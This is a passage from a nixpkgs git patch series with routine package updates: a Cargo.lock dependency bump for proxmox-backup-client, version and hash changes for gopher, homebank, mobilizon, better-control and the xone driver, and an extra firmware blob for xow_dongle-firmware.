+name = "windows_x86_64_msvc"
+version = "0.53.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d1890f4022759daae28ed4fe62859b1236caebfc61ede2f63ed4e695f3f6d936"
+checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486"
+
+[[package]]
+name = "winreg"
+version = "0.50.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1"
+dependencies = [
+ "cfg-if",
+ "windows-sys 0.48.0",
+]
+
+[[package]]
+name = "wit-bindgen-rt"
+version = "0.39.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1"
+dependencies = [
+ "bitflags 2.9.1",
+]
 
 [[package]]
 name = "writeable"
-version = "0.5.5"
+version = "0.6.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e9df38ee2d2c3c5948ea468a8406ff0db0b29ae1ffde1bcf20ef305bcc95c51"
+checksum = "ea2f10b9bb0928dfb1b42b65e1f9e36f7f54dbdf08457afefb38afcdec4fa2bb"
 
 [[package]]
 name = "xattr"
-version = "1.3.1"
+version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8da84f1a25939b27f6820d92aed108f83ff920fdf11a7b19366c27c4cda81d4f"
+checksum = "0d65cbf2f12c15564212d48f4e3dfb87923d25d611f2aed18f4cb23f0413d89e"
 dependencies = [
  "libc",
- "linux-raw-sys",
- "rustix",
+ "rustix 1.0.7",
 ]
 
 [[package]]
@@ -3046,9 +3420,9 @@ checksum = "213b7324336b53d2414b2db8537e56544d981803139155afa84f76eeebb7a546"
 
 [[package]]
 name = "yoke"
-version = "0.7.5"
+version = "0.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "120e6aef9aa629e3d4f52dc8cc43a015c7724194c97dfaf45180d2daf2b77f40"
+checksum = "5f41bb01b8226ef4bfd589436a297c53d118f65921786300e427be8d487695cc"
 dependencies = [
  "serde",
  "stable_deref_trait",
@@ -3058,62 +3432,79 @@ dependencies = [
 
 [[package]]
 name = "yoke-derive"
-version = "0.7.5"
+version = "0.8.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2380878cad4ac9aac1e2435f3eb4020e8374b5f13c296cb75b4620ff8e229154"
+checksum = "38da3c9736e16c5d3c8c597a9aaa5d1fa565d0532ae05e27c24aa62fb32c0ab6"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
  "synstructure",
 ]
 
 [[package]]
 name = "zerocopy"
-version = "0.7.35"
+version = "0.8.25"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0"
+checksum = "a1702d9583232ddb9174e01bb7c15a2ab8fb1bc6f227aa1233858c351a3ba0cb"
 dependencies = [
  "zerocopy-derive",
 ]
 
 [[package]]
 name = "zerocopy-derive"
-version = "0.7.35"
+version = "0.8.25"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e"
+checksum = "28a6e20d751156648aa063f3800b706ee209a32c0b4d9f24be3d980b01be55ef"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
 name = "zerofrom"
-version = "0.1.5"
+version = "0.1.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cff3ee08c995dee1859d998dea82f7374f2826091dd9cd47def953cae446cd2e"
+checksum = "50cc42e0333e05660c3587f3bf9d0478688e15d870fab3346451ce7f8c9fbea5"
 dependencies = [
  "zerofrom-derive",
 ]
 
 [[package]]
 name = "zerofrom-derive"
-version = "0.1.5"
+version = "0.1.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "595eed982f7d355beb85837f651fa22e90b3c044842dc7f2c2842c086f295808"
+checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
  "synstructure",
 ]
 
 [[package]]
-name = "zerovec"
-version = "0.10.4"
+name = "zeroize"
+version = "1.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aa2b893d79df23bfb12d5461018d408ea19dfafe76c2c7ef6d4eba614f8ff079"
+checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde"
+
+[[package]]
+name = "zerotrie"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "36f0bbd478583f79edad978b407914f61b2972f5af6fa089686016be8f9af595"
+dependencies = [
+ "displaydoc",
+ "yoke",
+ "zerofrom",
+]
+
+[[package]]
+name = "zerovec"
+version = "0.11.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4a05eb080e015ba39cc9e23bbe5e7fb04d5fb040350f99f34e338d5fdd294428"
 dependencies = [
  "yoke",
  "zerofrom",
@@ -3122,13 +3513,13 @@ dependencies = [
 
 [[package]]
 name = "zerovec-derive"
-version = "0.10.3"
+version = "0.11.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6eafa6dfb17584ea3e2bd6e76e0cc15ad7af12b09abdd1ca55961bed9b1063c6"
+checksum = "5b96237efa0c878c64bd89c436f661be4e46b2f3eff1ebb976f7ef2321d2f58f"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
@@ -3152,9 +3543,9 @@ dependencies = [
 
 [[package]]
 name = "zstd-sys"
-version = "2.0.13+zstd.1.5.6"
+version = "2.0.15+zstd.1.5.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38ff0f21cfee8f97d94cef41359e0c89aa6113028ab0291aa8ca0038995a95aa"
+checksum = "eb81183ddd97d0c74cedf1d50d85c8d08c1b8b68ee863bdee9e706eedba1a237"
 dependencies = [
  "bindgen",
  "cc",
diff --git a/pkgs/by-name/pr/proxmox-backup-client/package.nix b/pkgs/by-name/pr/proxmox-backup-client/package.nix
index 833f668aacf5..e19b41c293c6 100644
--- a/pkgs/by-name/pr/proxmox-backup-client/package.nix
+++ b/pkgs/by-name/pr/proxmox-backup-client/package.nix
@@ -21,20 +21,20 @@
 
 let
   pname = "proxmox-backup-client";
-  version = "3.3.2";
+  version = "3.4.2";
 
   proxmox-backup_src = fetchgit {
     url = "git://git.proxmox.com/git/proxmox-backup.git";
-    tag = "v${version}";
+    rev = "37f1949335cad801f7cdaa0173cc114590a37e4e";
     name = "proxmox-backup";
-    hash = "sha256-0piUftzuK9e8KbOe+bc3SXWa0DlnEgk5iNGWGn4fw7Y=";
+    hash = "sha256-OW6GG/4IcEw8XOSSB5EoN+jyoOaL0ZtavJahnKOuAqI=";
   };
 
   proxmox_src = fetchgit {
     url = "git://git.proxmox.com/git/proxmox.git";
-    rev = "df6b705f564ff145faa14770db6493bc5da8cab3";
+    rev = "e47fdf411be61b15382bc3baa3064f1e7cb03fa2";
     name = "proxmox";
-    hash = "sha256-6fQVK+G5FMPy+29hScMkvQ+MQQryYs8f8oooq1YGXbg=";
+    hash = "sha256-jSU00D75sx40VS8rgF+D6h120FMaD1Jfq4e8l+8D5BQ=";
   };
 
   proxmox-fuse_src = fetchgit {
@@ -63,11 +63,9 @@ let
     name = "h2";
     owner = "hyperium";
     repo = "h2";
-    rev = "v0.4.7";
-    hash = "sha256-GcO4321Jqt1w7jbvQKd0GXIjptyz+tlN2SuxHoBJ/9k=";
+    rev = "v0.4.10";
+    hash = "sha256-PasHCbU466ByHIbDQpMMgzjg2dMRveOButHeVSknSEQ=";
   };
-
-  aurPatchCommit = "6f83f58d54bc7186211d0cfa637c652b13e0dfee";
 in
 
 rustPlatform.buildRustPackage {
@@ -85,7 +83,7 @@ rustPlatform.buildRustPackage {
   sourceRoot = proxmox-backup_src.name;
 
   # These patches are essentially un-upstreamable, due to being "workarounds" related to the
-  # project structure.
+  # project structure and upstream/Debian-specific packaging.
   cargoPatches = [
     # A lot of Rust crates `proxmox-backup-client` depends on are only available through git (or
     # Debian packages). This patch redirects all these dependencies to a local, relative path, which
@@ -94,17 +92,16 @@ rustPlatform.buildRustPackage {
     # `make docs` assumes that the binaries are located under `target/{debug,release}`, but due
     # to how `buildRustPackage` works, they get put under `target/$RUSTC_TARGET/{debug,release}`.
     # This patch simply fixes that up.
-    ./0002-docs-Add-target-path-fixup-variable.patch
+    ./0002-docs-add-target-path-fixup-variable.patch
     # Need to use a patched version of the `h2` crate (with a downgraded dependency, see also postPatch).
     # This overrides it in the Cargo.toml as needed.
     ./0003-cargo-use-local-patched-h2-dependency.patch
     # This patch prevents the generation of the man-pages for other components inside the repo,
     # which would require them too be built too. Thus avoid wasting resources and just skip them.
-    (fetchpatch {
-      name = "0002-docs-drop-all-but-client-man-pages.patch";
-      url = "https://aur.archlinux.org/cgit/aur.git/plain/0002-docs-drop-all-but-client-man-pages.patch?h=proxmox-backup-client&id=${aurPatchCommit}";
-      hash = "sha256-AlIGfJZGaZl2NBVfuFxpDL6bgyvXA2Wcz7UWSrnQa24=";
-    })
+    ./0004-docs-drop-all-but-client-man-pages.patch
+    # Upstream uses a patched version of the h2 crate (see [0]), which does not apply here.
+    # [0] https://git.proxmox.com/?p=debcargo-conf.git;a=blob;f=src/h2/debian/patches/add-legacy.patch;h=0913da317
+    ./0005-Revert-h2-switch-to-legacy-feature.patch
   ];
 
   postPatch = ''

From 26e2ab55d019a0ada73ac90ebdea52fc3bb2bdc8 Mon Sep 17 00:00:00 2001
From: langsjo <104687438+langsjo@users.noreply.github.com>
Date: Mon, 2 Jun 2025 20:09:52 +0300
Subject: [PATCH 0657/4511] gopher: 3.0.17 -> 3.0.19

Also remove the patch, since this release fixes that issue

(cherry picked from commit 6041ea02f4280e63753c792da9ff533b7ce2193e)
---
 pkgs/by-name/go/gopher/int_main.patch | 13 -------------
 pkgs/by-name/go/gopher/package.nix    |  8 ++------
 2 files changed, 2 insertions(+), 19 deletions(-)
 delete mode 100644 pkgs/by-name/go/gopher/int_main.patch

diff --git a/pkgs/by-name/go/gopher/int_main.patch b/pkgs/by-name/go/gopher/int_main.patch
deleted file mode 100644
index 07024525b309..000000000000
--- a/pkgs/by-name/go/gopher/int_main.patch
+++ /dev/null
@@ -1,13 +0,0 @@
-diff --git a/configure b/configure
-index 1b20711..79ce215 100644
---- a/configure
-+++ b/configure
-@@ -679,7 +679,7 @@ cat > conftest.$ac_ext << EOF
- #line 680 "configure"
- #include "confdefs.h"
- 
--main(){return(0);}
-+int main(){return(0);}
- EOF
- if { (eval echo configure:685: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then
-   ac_cv_prog_cc_works=yes
diff --git a/pkgs/by-name/go/gopher/package.nix b/pkgs/by-name/go/gopher/package.nix
index a2a0c04d82c8..19a05a661c92 100644
--- a/pkgs/by-name/go/gopher/package.nix
+++ b/pkgs/by-name/go/gopher/package.nix
@@ -7,21 +7,17 @@
 
 stdenv.mkDerivation rec {
   pname = "gopher";
-  version = "3.0.17";
+  version = "3.0.19";
 
   src = fetchFromGitHub {
     owner = "jgoerzen";
     repo = "gopher";
     rev = "release/${version}";
-    sha256 = "1j6xh5l8v231d4mwl9gj1c34dc0jmazz6zg1qqfxmqr9y609jq3h";
+    sha256 = "sha256-8J63TnC3Yq7+64PPLrlPEueMa9D/eWkPsb08t1+rPAA=";
   };
 
   buildInputs = [ ncurses ];
 
-  patches = [
-    ./int_main.patch # https://github.com/jgoerzen/gopher/pull/8
-  ];
-
   preConfigure = "export LIBS=-lncurses";
 
   meta = with lib; {

From 5106751c472940080a67dfe79463f71e6a94c3ba Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 5 Jun 2025 04:48:15 +0000
Subject: [PATCH 0658/4511] homebank: 5.9.1 -> 5.9.2

(cherry picked from commit 0944ebab3833d3a978da66a0170e4e0bf70b25f9)
---
 pkgs/by-name/ho/homebank/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ho/homebank/package.nix b/pkgs/by-name/ho/homebank/package.nix
index 5af7e16e7eb0..7b402cff2828 100644
--- a/pkgs/by-name/ho/homebank/package.nix
+++ b/pkgs/by-name/ho/homebank/package.nix
@@ -13,10 +13,10 @@
 
 stdenv.mkDerivation rec {
   pname = "homebank";
-  version = "5.9.1";
+  version = "5.9.2";
   src = fetchurl {
     url = "https://www.gethomebank.org/public/sources/homebank-${version}.tar.gz";
-    hash = "sha256-s1Dtw6bjIUFObCb4VQ4rLBMNwftFlmlVa2H/1+jy44A=";
+    hash = "sha256-63WHr9yUuNx3s2pNvTSPTLwQ2M+757Mr++Yfocb6G8c=";
   };
 
   nativeBuildInputs = [

From a4317d3b5e35c3bf4b29812da238463ba95956a9 Mon Sep 17 00:00:00 2001
From: Fazzi <faaris.ansari@proton.me>
Date: Tue, 22 Apr 2025 21:45:02 +0100
Subject: [PATCH 0659/4511] xow_dongle-firmware: install extra firmware blob

(cherry picked from commit 2e097f61e2947257bb106d728b15b9fd120fa7f4)
---
 .../xo/xow_dongle-firmware/package.nix        | 38 +++++++++++++------
 1 file changed, 26 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/xo/xow_dongle-firmware/package.nix b/pkgs/by-name/xo/xow_dongle-firmware/package.nix
index a91702950a59..b4633c2098e8 100644
--- a/pkgs/by-name/xo/xow_dongle-firmware/package.nix
+++ b/pkgs/by-name/xo/xow_dongle-firmware/package.nix
@@ -4,36 +4,50 @@
   fetchurl,
   cabextract,
 }:
-
 stdenvNoCC.mkDerivation rec {
   pname = "xow_dongle-firmware";
-  version = "2017-07";
+  version = "0-unstable-2025-04-22";
+
+  srcs = [
+    (fetchurl {
+      name = "xow_dongle.cab";
+      url = "http://download.windowsupdate.com/c/msdownload/update/driver/drvs/2017/07/1cd6a87c-623f-4407-a52d-c31be49e925c_e19f60808bdcbfbd3c3df6be3e71ffc52e43261e.cab";
+      hash = "sha256-ZXNqhP9ANmRbj47GAr7ZGrY1MBnJyzIz3sq5/uwPbwQ=";
+    })
+    (fetchurl {
+      name = "xow_dongle_045e_02e6.cab";
+      url = "https://catalog.s.download.windowsupdate.com/d/msdownload/update/driver/drvs/2015/12/20810869_8ce2975a7fbaa06bcfb0d8762a6275a1cf7c1dd3.cab";
+      hash = "sha256-5jiKJ6dXVpIN5zryRo461V16/vWavDoLUICU4JHRnwg=";
+    })
+  ];
+
+  sourceRoot = ".";
 
   dontConfigure = true;
   dontBuild = true;
 
-  src = fetchurl {
-    url = "http://download.windowsupdate.com/c/msdownload/update/driver/drvs/2017/07/1cd6a87c-623f-4407-a52d-c31be49e925c_e19f60808bdcbfbd3c3df6be3e71ffc52e43261e.cab";
-    sha256 = "013g1zngxffavqrk5jy934q3bdhsv6z05ilfixdn8dj0zy26lwv5";
-  };
-
   nativeBuildInputs = [ cabextract ];
 
-  sourceRoot = ".";
+  unpackPhase = ''
+    sources=($srcs)
 
-  unpackCmd = ''
-    cabextract -F FW_ACC_00U.bin ${src}
+    cabextract -F FW_ACC_00U.bin ''${sources[0]}
+    mv FW_ACC_00U.bin xow_dongle.bin
+
+    cabextract -F FW_ACC_00U.bin ''${sources[1]}
+    mv FW_ACC_00U.bin xow_dongle_045e_02e6.bin
   '';
 
   installPhase = ''
-    install -Dm644 FW_ACC_00U.bin ${placeholder "out"}/lib/firmware/xow_dongle.bin
+    install -Dm644 xow_dongle.bin $out/lib/firmware/xow_dongle.bin
+    install -Dm644 xow_dongle_045e_02e6.bin $out/lib/firmware/xow_dongle_045e_02e6.bin
   '';
 
   meta = with lib; {
     description = "Xbox One wireless dongle firmware";
     homepage = "https://www.xbox.com/en-NZ/accessories/adapters/wireless-adapter-windows";
     license = licenses.unfree;
-    maintainers = with lib.maintainers; [ rhysmdnz ];
+    maintainers = with maintainers; [ rhysmdnz ];
     platforms = platforms.linux;
   };
 }

From 0ee10a776d0e9e6aafc39ef8e000b63ff7b93be3 Mon Sep 17 00:00:00 2001
From: Fazzi <faaris.ansari@proton.me>
Date: Tue, 22 Apr 2025 21:50:25 +0100
Subject: [PATCH 0660/4511] xow_dongle-firmware: add 'fazzi' as maintainer

(cherry picked from commit bdf3b2c398900c8d39585db1f6a4e43d9057f043)
---
 pkgs/by-name/xo/xow_dongle-firmware/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/xo/xow_dongle-firmware/package.nix b/pkgs/by-name/xo/xow_dongle-firmware/package.nix
index b4633c2098e8..e0cd58af0470 100644
--- a/pkgs/by-name/xo/xow_dongle-firmware/package.nix
+++ b/pkgs/by-name/xo/xow_dongle-firmware/package.nix
@@ -47,7 +47,10 @@ stdenvNoCC.mkDerivation rec {
     description = "Xbox One wireless dongle firmware";
     homepage = "https://www.xbox.com/en-NZ/accessories/adapters/wireless-adapter-windows";
     license = licenses.unfree;
-    maintainers = with maintainers; [ rhysmdnz ];
+    maintainers = with maintainers; [
+      rhysmdnz
+      fazzi
+    ];
     platforms = platforms.linux;
   };
 }

From e5034477e2bdd82385bb3c52d7b5026b4b1f8693 Mon Sep 17 00:00:00 2001
From: Fazzi <faaris.ansari@proton.me>
Date: Tue, 22 Apr 2025 21:52:34 +0100
Subject: [PATCH 0661/4511] linuxPackages.xone: 0.3-unstable-2024-12-23 ->
 0.3.1

(cherry picked from commit 1ccd526bc55cb679956b64ccbd963d0fc552104b)
---
 pkgs/os-specific/linux/xone/default.nix | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/xone/default.nix b/pkgs/os-specific/linux/xone/default.nix
index 2d25ba6cdb67..0a53277ff9bf 100644
--- a/pkgs/os-specific/linux/xone/default.nix
+++ b/pkgs/os-specific/linux/xone/default.nix
@@ -4,16 +4,15 @@
   fetchFromGitHub,
   kernel,
 }:
-
 stdenv.mkDerivation (finalAttrs: {
   pname = "xone";
-  version = "0.3-unstable-2024-12-23";
+  version = "0.3.1";
 
   src = fetchFromGitHub {
     owner = "dlundqvist";
     repo = "xone";
-    rev = "6b9d59aed71f6de543c481c33df4705d4a590a31";
-    hash = "sha256-MpxP2cb0KEPKaarjfX/yCbkxIFTwwEwVpTMhFcis+A4=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-qMZlQgAe5vB5zfuhyK7EBxIwfhnC5MvnF/qr3BGnDms=";
   };
 
   setSourceRoot = ''
@@ -43,6 +42,6 @@ stdenv.mkDerivation (finalAttrs: {
       fazzi
     ];
     platforms = platforms.linux;
-    broken = kernel.kernelOlder "5.11";
+    broken = kernel.kernelOlder "6";
   };
 })

From 6f0b0f385d2d426385d157cc4a001a260a225e24 Mon Sep 17 00:00:00 2001
From: Kerstin Humm <kerstin@erictapen.name>
Date: Thu, 20 Feb 2025 10:41:29 +0100
Subject: [PATCH 0662/4511] mobilizon: use lib.getExe

(cherry picked from commit 72e9f573288d0c474403e3f20a6bbc081e215ae0)
---
 pkgs/servers/mobilizon/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/mobilizon/default.nix b/pkgs/servers/mobilizon/default.nix
index cfe9d710ab17..db729c9d6ee8 100644
--- a/pkgs/servers/mobilizon/default.nix
+++ b/pkgs/servers/mobilizon/default.nix
@@ -157,8 +157,8 @@ mixRelease rec {
     updateScript = writeShellScriptBin "update.sh" ''
       set -eou pipefail
 
-      ${mix2nix}/bin/mix2nix '${src}/mix.lock' > pkgs/servers/mobilizon/mix.nix
-      ${nixfmt-rfc-style}/bin/nixfmt pkgs/servers/mobilizon/mix.nix
+      ${lib.getExe mix2nix} '${src}/mix.lock' > pkgs/servers/mobilizon/mix.nix
+      ${lib.getExe nixfmt-rfc-style} pkgs/servers/mobilizon/mix.nix
     '';
     elixirPackage = beamPackages.elixir;
   };

From cd7b48766a7982963d1fae3e0fc55c0365e36eed Mon Sep 17 00:00:00 2001
From: Kerstin Humm <kerstin@erictapen.name>
Date: Fri, 6 Jun 2025 12:14:22 +0200
Subject: [PATCH 0663/4511] mobilizon: 5.1.2 -> 5.1.4

Changelog: https://framagit.org/kaihuri/mobilizon/-/releases/5.1.4
(cherry picked from commit 2e501491d67897b6b03cbe4189cba747208ea9cb)
---
 pkgs/servers/mobilizon/0001-fix-version.patch | 13 -------------
 .../mobilizon/0002-fix-media-proxy.patch      | 19 -------------------
 pkgs/servers/mobilizon/common.nix             |  6 +++---
 pkgs/servers/mobilizon/default.nix            | 13 -------------
 pkgs/servers/mobilizon/frontend.nix           |  2 +-
 5 files changed, 4 insertions(+), 49 deletions(-)
 delete mode 100644 pkgs/servers/mobilizon/0001-fix-version.patch
 delete mode 100644 pkgs/servers/mobilizon/0002-fix-media-proxy.patch

diff --git a/pkgs/servers/mobilizon/0001-fix-version.patch b/pkgs/servers/mobilizon/0001-fix-version.patch
deleted file mode 100644
index 8bf6b2dcda86..000000000000
--- a/pkgs/servers/mobilizon/0001-fix-version.patch
+++ /dev/null
@@ -1,13 +0,0 @@
-diff --git a/mix.exs b/mix.exs
-index 8338abf8..883e6987 100644
---- a/mix.exs
-+++ b/mix.exs
-@@ -1,7 +1,7 @@
- defmodule Mobilizon.Mixfile do
-   use Mix.Project
- 
--  @version "5.1.0"
-+  @version "5.1.2"
- 
-   def project do
-     [
diff --git a/pkgs/servers/mobilizon/0002-fix-media-proxy.patch b/pkgs/servers/mobilizon/0002-fix-media-proxy.patch
deleted file mode 100644
index 9641dd3d60ac..000000000000
--- a/pkgs/servers/mobilizon/0002-fix-media-proxy.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-diff --git a/lib/web/proxy/reverse_proxy.ex b/lib/web/proxy/reverse_proxy.ex
-index 8a78ef27..788ccc30 100644
---- a/lib/web/proxy/reverse_proxy.ex
-+++ b/lib/web/proxy/reverse_proxy.ex
-@@ -187,9 +187,13 @@ defmodule Mobilizon.Web.ReverseProxy do
-   @spec response(Plug.Conn.t(), any(), String.t(), pos_integer(), list(tuple()), Keyword.t()) ::
-           Plug.Conn.t()
-   defp response(conn, client, url, status, headers, opts) do
-+    headers = build_resp_headers(headers, opts)
-+    # Fix HTTP/1.1 protocol violation: content-length can't be combined with chunked encoding
-+    headers = Enum.reject(headers, fn {k, _} -> k == "content-length" end)
-+
-     result =
-       conn
--      |> put_resp_headers(build_resp_headers(headers, opts))
-+      |> put_resp_headers(headers)
-       |> send_chunked(status)
-       |> chunk_reply(client, opts)
- 
\ No newline at end of file
diff --git a/pkgs/servers/mobilizon/common.nix b/pkgs/servers/mobilizon/common.nix
index 1bf19e3245d4..813dcb1da927 100644
--- a/pkgs/servers/mobilizon/common.nix
+++ b/pkgs/servers/mobilizon/common.nix
@@ -2,13 +2,13 @@
 rec {
 
   pname = "mobilizon";
-  version = "5.1.2";
+  version = "5.1.4";
 
   src = fetchFromGitLab {
     domain = "framagit.org";
-    owner = "framasoft";
+    owner = "kaihuri";
     repo = pname;
     tag = version;
-    sha256 = "sha256-5xHLk5/ogtRN3mfJPP1/gIVlALerT9KEUHjLA2Ou3aM=";
+    sha256 = "sha256-rtYb9wptP1wAaQrK60apjjSCqtfolXag6QgRYf6pwzQ=";
   };
 }
diff --git a/pkgs/servers/mobilizon/default.nix b/pkgs/servers/mobilizon/default.nix
index db729c9d6ee8..61dd5c7f8dfa 100644
--- a/pkgs/servers/mobilizon/default.nix
+++ b/pkgs/servers/mobilizon/default.nix
@@ -20,19 +20,6 @@ in
 mixRelease rec {
   inherit (common) pname version src;
 
-  patches = [
-    # Version 5.1.2 failed to bump their internal package version,
-    # which causes issues with static file serving in the NixOS module.
-    ./0001-fix-version.patch
-    # Mobilizon uses chunked Transfer-Encoding for the media proxy but also
-    # sets the Content-Length header. This is a HTTP/1.1 protocol violation
-    # and results in nginx >=1.24 rejecting the response with this error:
-    # 'upstream sent "Content-Length" and "Transfer-Encoding" headers at the same
-    # time while reading response header from upstream'
-    # Upstream PR: https://framagit.org/framasoft/mobilizon/-/merge_requests/1604
-    ./0002-fix-media-proxy.patch
-  ];
-
   nativeBuildInputs = [
     git
     cmake
diff --git a/pkgs/servers/mobilizon/frontend.nix b/pkgs/servers/mobilizon/frontend.nix
index c08bf51ece9e..23b83bc16d7f 100644
--- a/pkgs/servers/mobilizon/frontend.nix
+++ b/pkgs/servers/mobilizon/frontend.nix
@@ -11,7 +11,7 @@ in
 buildNpmPackage {
   inherit (common) pname version src;
 
-  npmDepsHash = "sha256-oOV4clyUzKTdAMCKghWS10X9Nug9j8mil/vXcFhZ6Z0=";
+  npmDepsHash = "sha256-vf8qEXMZ+TGqKjDN7LjUyOm98EQqweW6NKdJuNoMuVc=";
 
   nativeBuildInputs = [ imagemagick ];
 

From ed48e1b62d820904dd6535366e710d82b16ddfe4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 30 May 2025 00:52:58 +0000
Subject: [PATCH 0664/4511] better-control: 6.11.6 -> 6.11.9

(cherry picked from commit f73416197932d294bc87452719a2a046589e4c21)
---
 pkgs/by-name/be/better-control/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/be/better-control/package.nix b/pkgs/by-name/be/better-control/package.nix
index eb42e699351f..f56c7ec724e2 100644
--- a/pkgs/by-name/be/better-control/package.nix
+++ b/pkgs/by-name/be/better-control/package.nix
@@ -19,14 +19,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "better-control";
-  version = "6.11.6";
+  version = "6.11.9";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "quantumvoid0";
     repo = "better-control";
     tag = "v${version}";
-    hash = "sha256-+2hY+o+GPyJHXpQFVW8BOUEiIBGQ1hItOVpA/AVas2Q=";
+    hash = "sha256-74ZcHiQLIYzPnk25NAJzxsdVMYs2fiPDOJHUTLY4LuE=";
   };
 
   build-system = with python3Packages; [

From bccf99f80acf135cc126e3018ff9371a33335abd Mon Sep 17 00:00:00 2001
From: Rishabh <40533251+Rishabh5321@users.noreply.github.com>
Date: Tue, 3 Jun 2025 10:23:04 +0530
Subject: [PATCH 0665/4511] better-control: 6.11.9 -> 6.12.1

(cherry picked from commit afa1d3cadb2ab4cb0b9617dfbdb8f2d8f5fe1329)
---
 pkgs/by-name/be/better-control/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/be/better-control/package.nix b/pkgs/by-name/be/better-control/package.nix
index f56c7ec724e2..0fdd29c4c0c4 100644
--- a/pkgs/by-name/be/better-control/package.nix
+++ b/pkgs/by-name/be/better-control/package.nix
@@ -9,7 +9,7 @@
   brightnessctl,
   power-profiles-daemon,
   gammastep,
-  libpulseaudio,
+  pulseaudio,
   desktop-file-utils,
   wrapGAppsHook3,
   gobject-introspection,
@@ -19,14 +19,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "better-control";
-  version = "6.11.9";
+  version = "6.12.1";
   pyproject = false;
 
   src = fetchFromGitHub {
-    owner = "quantumvoid0";
+    owner = "better-ecosystem";
     repo = "better-control";
     tag = "v${version}";
-    hash = "sha256-74ZcHiQLIYzPnk25NAJzxsdVMYs2fiPDOJHUTLY4LuE=";
+    hash = "sha256-Dt+se8eOmF8Nzm+/bnYBSIyX0XHSXV9iCPF82qXhzug=";
   };
 
   build-system = with python3Packages; [
@@ -46,7 +46,7 @@ python3Packages.buildPythonApplication rec {
 
   # Check src/utils/dependencies.py
   runtimeDeps = [
-    libpulseaudio
+    pulseaudio
     networkmanager
     bluez
     brightnessctl
@@ -95,7 +95,7 @@ python3Packages.buildPythonApplication rec {
 
   meta = {
     description = "Simple control panel for linux based on GTK";
-    homepage = "https://github.com/quantumvoid0/better-control";
+    homepage = "https://github.com/better-ecosystem/better-control";
     license = lib.licenses.gpl3Only;
     maintainers = with lib.maintainers; [ Rishabh5321 ];
     platforms = lib.platforms.linux;

From 234470277fed6814e814289baa1b81e21605a67e Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sat, 24 May 2025 17:26:27 -0600
Subject: [PATCH 0666/4511] mozhi: init at 0-unstable-2025-04-14

(cherry picked from commit 2844748c4bdf9d001079c225b309df7d5a3b9d2d)
---
 pkgs/by-name/mo/mozhi/package.nix | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)
 create mode 100644 pkgs/by-name/mo/mozhi/package.nix

diff --git a/pkgs/by-name/mo/mozhi/package.nix b/pkgs/by-name/mo/mozhi/package.nix
new file mode 100644
index 000000000000..0f5fdeb998aa
--- /dev/null
+++ b/pkgs/by-name/mo/mozhi/package.nix
@@ -0,0 +1,30 @@
+{
+  lib,
+  buildGoModule,
+  fetchFromGitea,
+  unstableGitUpdater,
+}:
+buildGoModule {
+  pname = "mozhi";
+  version = "0-unstable-2025-04-14";
+
+  src = fetchFromGitea {
+    domain = "codeberg.org";
+    owner = "aryak";
+    repo = "mozhi";
